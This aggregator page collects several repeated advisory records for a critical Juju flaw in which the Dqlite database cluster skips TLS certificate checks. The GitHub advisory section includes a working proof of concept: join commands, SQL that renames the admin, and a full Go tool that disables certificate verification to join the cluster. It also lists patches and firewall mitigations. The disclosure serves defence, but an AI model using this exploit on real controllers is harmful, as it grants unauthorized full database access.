Improper TLS Client/Server authentication and certificate verification on Database Cluster

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

A vulnerability was identified in Juju from version 3.2.0 until 3.6.19 and from version 4.0 until 4.0.4, where the internal Dqlite database cluster fails to perform proper TLS client and server authentication. Specifically, the Juju controller's database endpoint does not validate client certificates when a new node attempts to join the cluster. An unauthenticated attacker with network reachability to the Juju controller's Dqlite port can exploit this flaw to join the database cluster. Once joined, the attacker gains full read and write access to the underlying database, allowing for total data compromise.

Source published

1 Apr 2026 08:09:17 UTC

Source modified

8 Apr 2026 07:27:16 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

A vulnerability was identified in Juju from version 3.2.0 until 3.6.19 and from version 4.0 until 4.0.4, where the internal Dqlite database cluster fails to perform proper TLS client and server authentication. Specifically, the Juju controller's database endpoint does not validate client certificates when a new node attempts to join the cluster. An unauthenticated attacker with network reachability to the Juju controller's Dqlite port can exploit this flaw to join the database cluster. Once joined, the attacker gains full read and write access to the underlying database, allowing for total data compromise.

Source published

Apr 1, 2026, 8:09:17 AM (timezone not stated)

Source modified

Apr 8, 2026, 7:27:16 AM (timezone not stated)

Observed here

28 Oct 2026 05:16:40 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

A vulnerability was identified in Juju from version 3.2.0 until 3.6.19 and from version 4.0 until 4.0.4, where the internal Dqlite database cluster fails to perform proper TLS client and server authentication. Specifically, the Juju controller's database endpoint does not validate client certificates when a new node attempts to join the cluster. An unauthenticated attacker with network reachability to the Juju controller's Dqlite port can exploit this flaw to join the database cluster. Once joined, the attacker gains full read and write access to the underlying database, allowing for total data compromise.

Source published

1 Apr 2026 09:16:17 UTC

Source modified

26 Oct 2026 21:10:00 UTC

Observed here

27 Oct 2026 11:12:04 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

### Impact Any Juju controller since 3.2.0. An attacker with only route-ability to the target juju controller Dqlite cluster endpoint may join the Dqlite cluster, read and modify all information, including escalating privileges, open firewall ports etc. This is due to not checking the client certificate, additionally, the client does not check the server's certificate (MITM attack possible), so anything goes. https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324 #### PoC Using the tool referenced below. Bootstrap a controller and show the users: ``` $ juju bootstrap lxd a Creating Juju controller "a" on lxd/localhost Looking for packaged Juju agent version 4.0.4 for amd64 <...> Launching controller instance(s) on localhost/localhost... - juju-fefd2b-0 (arch=amd64) Installing Juju agent on bootstrap instance Waiting for address Attempting to connect to 10.151.236.15:22 <...> Contacting Juju controller at 10.151.236.15 to verify accessibility... Bootstrap complete, controller "a" is now available Controller machines are in the "controller" model Now you can run juju add-model <model-name> to create a new model to deploy workloads. $ juju users Controller: a Name Display name Access Date created Last connection admin* admin superuser 1 minute ago just now juju-metrics Juju Metrics login 1 minute ago never connected everyone@external ``` Join the cluster with the first cluster member: ``` $ dqlite-demo --db 192.168.1.25:9999 --join 10.151.236.15:17666 dqlite interactive shell. Enter SQL statements terminated with a semicolon. Meta-commands: .switch <database> .close .exit Connected to database "demo". demo> ``` Join the cluster with another cluster member and give the admin a new name: ``` dqlite-demo --db 192.168.1.25:9998 --join 10.151.236.15:17666 dqlite interactive shell. Enter SQL statements terminated with a semicolon. Meta-commands: .switch <database> .close .exit Connected to database "demo". demo> .switch controller Connected to database "controller". controller> select * from user; uuid | name | display_name | external | removed | created_by_uuid | created_at -------------------------------------+-------------------+--------------+----------+---------+--------------------------------------+---------------------------------------- 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | admin | admin | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:25.816694339 +0000 UTC 4e1d65ae-564e-4c0e-8ef6-da8b7fb69b53 | juju-metrics | Juju Metrics | false | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.76549689 +0000 UTC 384c57af-57b1-40be-8e6e-7360371895d3 | everyone@external | | true | false | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.770215095 +0000 UTC (3 row(s)) controller> update user set display_name='Silly Admin' where name='admin'; OK (1 row(s) affected) controller> ``` The admin won't like this new name: ``` $ juju users Controller: a Name Display name Access Date created Last connection admin* Silly Admin superuser 6 minutes ago just now juju-metrics Juju Metrics login 6 minutes ago never connected everyone@external ``` ### Patches Juju versions 3.6.20 and 4.0.5 are patched to fix this issue. ### Workarounds The strongest protection is to apply the security updates. The following mitigations have also been explored. If security updates cannot be applied, you should only apply the following steps as a last resort and restore the original configuration file once updates are applied. Please note that modifying configuration files may stop future unattended upgrades from completing successfully, until these are reverted to the original content. Option 1: Disable the HA (High Availability) controller. If your environment does not strictly require HA, reducing the cluster to a single controller removes the need for DQlite replication. Moreover, the port that replicates the vulnerability should be blocked, namely 17666. Option 2: Restrict what IPs can communicate with port 17666, by implementing firewall rules to block all ingress traffic to this port. Only Juju controller IPs should be able to connect to this port. To restrict access to the DQlite port to just the set of controller IPs, here's an example using ufw for a machine controller. This needs to be run on each controller. If the controller nodes change configuration, the rules will need to be updated accordingly. You will need to enable access to the controller API port 17070 in accordance with your requirements for allowing clients to connect to the Juju controllers. ``` # Retrict access to the Dqlite port. sudo ufw allow from <controllerip1> to any port 17666 proto tcp sudo ufw allow from <controllerip2> to any port 17666 proto tcp sudo ufw allow from <controllerip3> to any port 17666 proto tcp sudo ufw deny 17666/tcp # Similarly, the mongo db port needs to allow controller access. sudo ufw allow from <controllerip1> to any port 37017 proto tcp sudo ufw allow from <controllerip2> to any port 37017 proto tcp sudo ufw allow from <controllerip3> to any port 37017 proto tcp sudo ufw deny 37017/tcp # Allow access to the controller API port. sudo ufw allow from <your cidr goes here> to any port 17070 proto tcp # Allow access to the controller SSH port. sudo ufw allow from <your cidr goes here> to any port 22 proto tcp # Ensure the firewall is enabled. sudo ufw enable # Check that the rules have been added correctly. sudo ufw status ``` For Kubernetes controllers, HA is not supported. We recommend blocking access to port 17666. One way is to apply a network policy: ``` apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: controller-0-17666-only-itself namespace: <your controller namespace goes here> spec: podSelector: matchLabels: app.kubernetes.io/name: controller statefulset.kubernetes.io/pod-name: controller-0 policyTypes: - Ingress ingress: - from: - podSelector: matchLabels: app.kubernetes.io/name: controller statefulset.kubernetes.io/pod-name: controller-0 ports: - protocol: TCP port: 17666 ``` ### References https://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324 ### PoC Tool Based on the go-dqlite demo app. ```go package main import ( "context" "crypto/ecdsa" "crypto/elliptic" "crypto/rand" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "database/sql" "encoding/pem" "fmt" "log" "math/big" "net" "os" "os/signal" "path/filepath" "strings" "time" "github.com/canonical/go-dqlite/v3/app" "github.com/canonical/go-dqlite/v3/client" "github.com/peterh/liner" "github.com/pkg/errors" "github.com/spf13/cobra" "golang.org/x/sys/unix" ) func generateSelfSignedCert() (tls.Certificate, error) { key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) if err != nil { return tls.Certificate{}, fmt.Errorf("generate key: %w", err) } tmpl := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "lol"}, NotBefore: time.Now(), NotAfter: time.Now().Add(365 * 24 * time.Hour), KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, IPAddresses: []net.IP{net.ParseIP("127.0.0.1")}, DNSNames: []string{"lol"}, } certDER, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key) if err != nil { return tls.Certificate{}, fmt.Errorf("create cert: %w", err) } keyDER, err := x509.MarshalECPrivateKey(key) if err != nil { return tls.Certificate{}, fmt.Errorf("marshal key: %w", err) } certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}) keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER}) return tls.X509KeyPair(certPEM, keyPEM) } // runREPL runs an interactive SQL REPL against the given dqlite app. // It supports multi-line statements (terminated by ';') and the meta-commands // .switch <database>, .close, and .exit. func runREPL(ctx context.Context, dqliteApp *app.App, initialDBName string, line *liner.State) error { var currentDB *sql.DB var currentDBName string openDB := func(name string) error { if currentDB != nil { if err := currentDB.Close(); err != nil { fmt.Fprintf(os.Stderr, "Warning: closing previous database: %v\n", err) } currentDB = nil currentDBName = "" } db, err := dqliteApp.Open(ctx, name) if err != nil { return fmt.Errorf("open database %q: %w", name, err) } currentDB = db currentDBName = name fmt.Printf("Connected to database %q.\n", name) return nil } defer func() { if currentDB != nil { currentDB.Close() } }() fmt.Println("dqlite interactive shell.") fmt.Println("Enter SQL statements terminated with a semicolon.") fmt.Println("Meta-commands: .switch <database> .close .exit") fmt.Println() if initialDBName != "" { if err := openDB(initialDBName); err != nil { return err } } else { fmt.Println("No database selected. Use .switch <database> to open one.") } prompt := func(multiline bool) string { if multiline { return " ...> " } if currentDBName != "" { return currentDBName + "> " } return "(no db)> " } var buf strings.Builder for { input, err := line.Prompt(prompt(buf.Len() > 0)) if err != nil { if err == liner.ErrPromptAborted { if buf.Len() > 0 { buf.Reset() fmt.Println("(statement aborted)") } continue } // EOF (Ctrl-D) or liner closed externally — exit cleanly. fmt.Println() break } if input != "" { line.AppendHistory(input) } trimmed := strings.TrimSpace(input) if trimmed == "" { continue } // Meta-commands are only recognised at the start of a fresh statement. if buf.Len() == 0 && strings.HasPrefix(trimmed, ".") { parts := strings.Fields(trimmed) switch parts[0] { case ".exit": return nil case ".close": if currentDB != nil { if err := currentDB.Close(); err != nil { fmt.Fprintf(os.Stderr, "Error closing database: %v\n", err) } else { fmt.Printf("Database %q closed.\n", currentDBName) } currentDB = nil currentDBName = "" } else { fmt.Println("No database is currently open.") } case ".switch": if len(parts) < 2 { fmt.Fprintln(os.Stderr, "Usage: .switch <database>") } else { if err := openDB(parts[1]); err != nil { fmt.Fprintf(os.Stderr, "Error: %v\n", err) } } default: fmt.Fprintf(os.Stderr, "Unknown meta-command: %s\n", parts[0]) fmt.Fprintln(os.Stderr, "Available meta-commands: .switch <database> .close .exit") } continue } // Accumulate SQL across lines. if buf.Len() > 0 { buf.WriteByte('\n') } buf.WriteString(input) // Execute once the statement is terminated with a semicolon. stmt := strings.TrimSpace(buf.String()) if strings.HasSuffix(stmt, ";") { buf.Reset() if currentDB == nil { fmt.Fprintln(os.Stderr, "Error: no database open. Use .switch <database> to open one.") continue } if err := execSQL(currentDB, stmt); err != nil { fmt.Fprintf(os.Stderr, "Error: %v\n", err) } } } return nil } // execSQL dispatches to execQuery or execStatement based on the leading keyword. func execSQL(db *sql.DB, stmt string) error { // Trim the trailing semicolon just for the prefix check. upper := strings.ToUpper(strings.TrimSpace(strings.TrimSuffix(strings.TrimSpace(stmt), ";"))) switch { case strings.HasPrefix(upper, "SELECT"), strings.HasPrefix(upper, "WITH"), strings.HasPrefix(upper, "PRAGMA"), strings.HasPrefix(upper, "EXPLAIN"): return execQuery(db, stmt) default: return execStatement(db, stmt) } } // execQuery runs a statement expected to return rows and prints them as a table. func execQuery(db *sql.DB, stmt string) error { rows, err := db.Query(stmt) if err != nil { return err } defer rows.Close() cols, err := rows.Columns() if err != nil { return err } if len(cols) == 0 { fmt.Println("OK") return nil } // Initialise column widths from the header names. widths := make([]int, len(cols)) for i, c := range cols { widths[i] = len(c) } // Scan all rows into memory so we can compute column widths before printing. vals := make([]interface{}, len(cols)) valPtrs := make([]interface{}, len(cols)) for i := range vals { valPtrs[i] = &vals[i] } var allRows [][]string for rows.Next() { if err := rows.Scan(valPtrs...); err != nil { return err } row := make([]string, len(cols)) for i, v := range vals { if v == nil { row[i] = "NULL" } else { row[i] = fmt.Sprintf("%v", v) } if len(row[i]) > widths[i] { widths[i] = len(row[i]) } } allRows = append(allRows, row) } if err := rows.Err(); err != nil { return err } printRow(cols, widths) printSeparator(widths) for _, row := range allRows { printRow(row, widths) } fmt.Printf("(%d row(s))\n", len(allRows)) return nil } // execStatement runs a non-SELECT statement and prints the rows-affected count. func execStatement(db *sql.DB, stmt string) error { result, err := db.Exec(stmt) if err != nil { return err } affected, err := result.RowsAffected() if err != nil { fmt.Println("OK") return nil } fmt.Printf("OK (%d row(s) affected)\n", affected) return nil } func printRow(vals []string, widths []int) { parts := make([]string, len(vals)) for i, v := range vals { parts[i] = fmt.Sprintf("%-*s", widths[i], v) } fmt.Println(strings.Join(parts, " | ")) } func printSeparator(widths []int) { parts := make([]string, len(widths)) for i, w := range widths { parts[i] = strings.Repeat("-", w) } fmt.Println(strings.Join(parts, "-+-")) } func main() { var db string var join *[]string var dir string var verbose bool var dbName string cmd := &cobra.Command{ Use: "dqlite-demo", Short: "Interactive dqlite SQL REPL", Long: `An interactive SQL REPL backed by a dqlite cluster node. Type SQL statements terminated with a semicolon (;) to execute them. Statements can span multiple lines. Meta-commands: .switch <database> Open (or switch to) a named database .close Close the current database connection .exit Exit the REPL Complete documentation is available at https://github.com/canonical/go-dqlite`, RunE: func(cmd *cobra.Command, args []string) error { nodeDir := filepath.Join(dir, db) if err := os.MkdirAll(nodeDir, 0755); err != nil { return errors.Wrapf(err, "can't create %s", nodeDir) } logFunc := func(l client.LogLevel, format string, a ...interface{}) { if !verbose { return } log.Printf(fmt.Sprintf("%s: %s: %s\n", db, l.String(), format), a...) } cart, err := generateSelfSignedCert() if err != nil { return err } options := []app.Option{ app.WithAddress(db), app.WithCluster(*join), app.WithLogFunc(logFunc), app.WithTLS(&tls.Config{ InsecureSkipVerify: true, ClientCAs: x509.NewCertPool(), Certificates: []tls.Certificate{cart}, }, &tls.Config{ InsecureSkipVerify: true, }), } dqliteApp, err := app.New(nodeDir, options...) if err != nil { return err } defer func() { dqliteApp.Handover(context.Background()) dqliteApp.Close() }() if err := dqliteApp.Ready(context.Background()); err != nil { return err } line := liner.NewLiner() line.SetCtrlCAborts(true) defer line.Close() // Forward termination signals by closing the liner, which causes // Prompt() to return and the REPL loop to exit cleanly. sigCh := make(chan os.Signal, 32) signal.Notify(sigCh, unix.SIGPWR, unix.SIGQUIT, unix.SIGTERM) go func() { <-sigCh line.Close() }() return runREPL(context.Background(), dqliteApp, dbName, line) }, } flags := cmd.Flags() flags.StringVarP(&db, "db", "d", "", "address used for internal database replication") join = flags.StringSliceP("join", "j", nil, "database addresses of existing nodes") flags.StringVarP(&dir, "dir", "D", "/tmp/dqlite-demo", "data directory") flags.BoolVarP(&verbose, "verbose", "v", false, "verbose logging") flags.StringVarP(&dbName, "name", "n", "controller", "initial database name to open on startup") cmd.MarkFlagRequired("db") if err := cmd.Execute(); err != nil { os.Exit(1) } } ``` ## Mitigation The strongest protection is to apply the security updates. The following mitigations have also been explored. If security updates cannot be applied, you should only apply the following steps as a last resort and restore the original configuration file once updates are applied. Please note that modifying configuration files may stop future unattended upgrades from completing successfully, until these are reverted to the original content. Option 1: Disable the HA (High Availability) controller. If your environment does not strictly require HA, reducing the cluster to a single controller removes the need for DQlite replication. Moreover, the port that replicates the vulnerability should be blocked, namely 17666. Option 2: Restrict what IPs can communicate with port 17666, by implementing firewall rules to block all ingress traffic to this port. Only Juju controller IPs should be able to connect to this port. To restrict access to the DQlite port to just the set of controller IPs, here's an example using ufw for a machine controller. This needs to be run on each controller. If the controller nodes change configuration, the rules will need to be updated accordingly. You will need to enable access to the controller API port 17070 in accordance with your requirements for allowing clients to connect to the Juju controllers. ``` # Retrict access to the Dqlite port. sudo ufw allow from <controllerip1> to any port 17666 proto tcp sudo ufw allow from <controllerip2> to any port 17666 proto tcp sudo ufw allow from <controllerip3> to any port 17666 proto tcp sudo ufw deny 17666/tcp # Similarly, the mongo db port needs to allow controller access. sudo ufw allow from <controllerip1> to any port 37017 proto tcp sudo ufw allow from <controllerip2> to any port 37017 proto tcp sudo ufw allow from <controllerip3> to any port 37017 proto tcp sudo ufw deny 37017/tcp # Allow access to the controller API port. sudo ufw allow from <your cidr goes here> to any port 17070 proto tcp # Allow access to the controller SSH port. sudo ufw allow from <your cidr goes here> to any port 22 proto tcp # Ensure the firewall is enabled. sudo ufw enable # Check that the rules have been added correctly. sudo ufw status ``` For Kubernetes controllers, HA is not supported. We recommend blocking access to port 17666. One way is to apply a network policy: ``` apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: controller-0-17666-only-itself namespace: <your controller namespace goes here> spec: podSelector: matchLabels: app: controller statefulset.kubernetes.io/pod-name: controller-0 policyTypes: - Ingress ingress: - from: - podSelector: matchLabels: app: controller statefulset.kubernetes.io/pod-name: controller-0 ports: - protocol: TCP port: 17666 ```

Source published

2 Apr 2026 00:03:36 UTC

Source modified

21 Jul 2026 14:46:36 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL

Juju has Improper TLS Client/Server authentication and certificate verification on Database Cluster in github.com/juju/juju

Source published

25 Jun 2026 22:34:31 UTC

Source modified

25 Jun 2026 23:00:54 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.